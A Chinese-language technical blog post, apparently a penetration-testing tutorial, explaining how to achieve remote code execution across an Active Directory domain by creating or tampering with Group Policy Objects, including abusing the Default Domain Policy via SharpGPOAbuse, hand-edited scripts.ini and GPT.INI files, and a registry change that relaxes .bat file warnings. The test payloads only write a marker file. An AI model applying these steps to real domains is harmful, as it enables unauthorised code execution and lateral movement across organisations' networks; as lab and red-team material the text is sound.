域渗透——利用 GPO 中的脚本实现远程执行

发布于 2025-01-20 15:25:47 字数 8001 浏览 4 评论 0

0x00 前言

在之前的文章 《域渗透——利用 GPO 中的计划任务实现远程执行》 介绍了通过域组策略(Group Policy Object) 远程执行计划任务的方法,本文将要介绍类似的另外一种方法:通过域组策略(Group Policy Object) 的脚本实现远程执行。

0x01 简介

本文将要介绍以下内容:

  • 通过 Group Policy Management Console (GPMC) 实现脚本的远程执行
  • 通过命令行实现脚本的远程执行
  • 新建 GPO 实现远程执行
  • 修改已有的 GPO,实现远程执行
  • 实现细节

0x02 通过 Group Policy Management Console (GPMC) 实现脚本的远程执行

1.创建 GPO

在域控制器上,位置: Administrative Tools -> Group Policy Management

如果想要作用于整个域,选择域 test.com ,右键,选择 Create a GPO in this domain,and Link it here... ,如下图

Alt text

如果想要作用于指定对象,需要选择提前创建好的 OU,右键,选择 Create a GPO in this domain,and Link it here... ,如下图

Alt text

补充: 创建 OU 的位置: Administrative Tools -> Active Directory Users and Computers

2.配置 GPO

选择创建好的 GPO,右键,选择 Edit...

(1) 指定 Startup/Shutdown/Logon/Logoff 时要执行的脚本

Startup/Shutdown 的位置为 Computer Configuration -> Windows Settings -> Scripts(Startup/Shutdown) ,作用于域内计算机的开机和关机事件

Logon/Logoff 的位置为 User Configuration -> Windows Settings -> Scripts(Logon/Logoff) ,作用于域用户的登陆和注销事件

这里以配置用户 test1 的登陆脚本为例进行配置,选择 Login ,将要执行的脚本上传至域共享文件夹,默认位置为: \\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon ,配置登陆执行的脚本为 logon1.bat ,如下图

Alt text

注:直接将脚本上传至 \\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon 不会生效,必须在 Logon 中指定要执行的脚本

(2) 等待域组策略更新

默认情况下,域组策略每 90 分钟更新,随机偏移为 0-30 分钟,域控制器的组策略每 5 分钟更新

为了提高测试效率,可在客户端执行命令 gpupdate /force 强制更新组策略

(3) 等待触发脚本执行

在 Computer01 上登陆用户 test1,发现执行了脚本 logon1.bat

0x03 通过命令行实现脚本的远程执行

1.作用于全域

(1) 创建一个 GPO

Powershell 命令: New-GPO -Name TestGPO1

(2) 将 GPO 连到到域 test.com

Powershell 命令: New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"

注:两条命令可以简写为一条命令: new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"

(3) 通过 SharpGPOAbuse 设置执行的脚本

命令示例: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "TestGPO1"

这里也可以通过修改 bat 文件的内容判断用户名实现作用于指定目标,筛选用户 test1 的命令示例: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==test1 cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "TestGPO1"

(4) 等待域组策略更新

默认情况下,域组策略每 90 分钟更新,随机偏移为 0-30 分钟

(5) 等待触发脚本执行

(6) 删除 GPO

Powershell 命令: Remove-GPO -Name TestGPO1

2.作用于指定目标

(1) 创建 OU

Powershell 命令: New-ADOrganizationalUnit -Name OUtest2 -Path "DC=test,DC=com"

(2) 确认用户 test1 的位置

cmd 命令: dsquery user -name test1

返回结果:

"CN=test1,CN=Users,DC=test,DC=com"

(3) 将指定用户 test1 移动至新创建的 OUtest2

cmd 命令: dsmove "CN=test1,CN=Users,DC=test,DC=com" -newparent "OU=OUtest2,DC=test,DC=com"

也可以使用 cmd 命令: dsquery user -name test1 | dsmove -newparent "OU=OUtest2,DC=test,DC=com"

(4) 创建一个 GPO 并将其连接到指定 OU

Powershell 命令: new-gpo -name TestGPO2 | new-gplink -Target "OU=OUtest2,DC=test,DC=com"

(5) 通过 SharpGPOAbuse 设置执行的脚本

命令示例: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse2.txt" --GPOName "TestGPO2"

(6) 等待域组策略更新

默认情况下,域组策略每 90 分钟更新,随机偏移为 0-30 分钟

(7) 等待触发脚本执行

(8) 删除 GPO

Powershell 命令: Remove-GPO -Name TestGPO2

(9) 将用户 test1 移除 OU 至原位置

cmd 命令: dsquery user -name test1 | dsmove -newparent "CN=Users,DC=test,DC=com"

(10) 删除 OU

Powershell 命令:

Set-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -ProtectedFromAccidentalDeletion $false
Remove-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -Recursive -Confirm:$False

0x04 修改已有的 GPO,实现远程执行

默认存在两个组策略,每个文件夹对应一个组策略:

{6AC1786C-016F-11D2-945F-00C04fB984F9} 对应 Default Domain Controllers Policy

{31B2F340-016D-11D2-945F-00C04FB984F9} 对应 Default Domain Policy

默认可利用的组策略为 Default Domain Policy ,这里分为手动修改和通过程序自动实现两部分进行介绍

1.手动修改

(1) 获取 GPO 的 guid

Powershell 命令: get-GPO -Name "Default Domain Policy"

得到 Id 为 31b2f340-016d-11d2-945f-00c04fb984f9

(2) 上传要执行的用户登录脚本

将测试脚本 test1.bat 上传至 \\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\Logon

(3) 启用用户登录脚本

创建文件 \\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\scripts.ini ,属性为隐藏文件,内容为:


[Logon]
0CmdLine=test1.bat
0Parameters=

(4) 修改版本信息

修改文件 \\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI ,将 Version 的原有数值加上 65536 作为新的数值

具体来说,默认配置下, \\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INIVersion 值为 3 ,第一次修改时需要将其修改为 65539

(5) 更新数据库信息

需要编写程序实现,代码可参考 https://github.com/FSecureLABS/SharpGPOAbuse/blob/master/SharpGPOAbuse/Program.cs#L189

当然,这个操作也可以通过修改文件的方式实现,流程较为繁琐,具体思路如下:

  • 备份 GPO
  • 修改 Backup.xml
  • 修改 gpreport.xml
  • 还原 GPO

(6) 等待域组策略更新

默认情况下,域组策略每 90 分钟更新,随机偏移为 0-30 分钟

(7) 等待触发脚本执行

2.通过程序实现

通过 SharpGPOAbuse 可以实现,命令示例: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "Default Domain Policy"

0x05 直接执行远程脚本

当我们选择直接执行组策略文件夹中的 bat 文件,会弹框提示无法执行,如下图

Alt text

这里可以通过修改注册表的方式设置为允许,对应的命令为: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations /v ModRiskFileTypes /t REG_SZ /d .bat /f

该操作也可以通过配置域组策略实现,位置为: User Configuration -> Administrative Templates -> Windows Components -> Attachment Manager -> Inclusion list for moderate risk file types ,选择 Enabled ,后缀名设置为 .bat ,如下图

Alt text

0x06 小结

本文介绍了通过域组策略(Group Policy Object) 中的脚本实现远程执行的方法,分享实现细节和利用思路。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

〆凄凉。

暂无简介

文章
评论
25 人气
更多

推荐作者

迎风吟唱

文章 0 评论 0

qq_hXErI

文章 0 评论 0

茶底世界

文章 0 评论 0

捎一片雪花

文章 0 评论 0

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文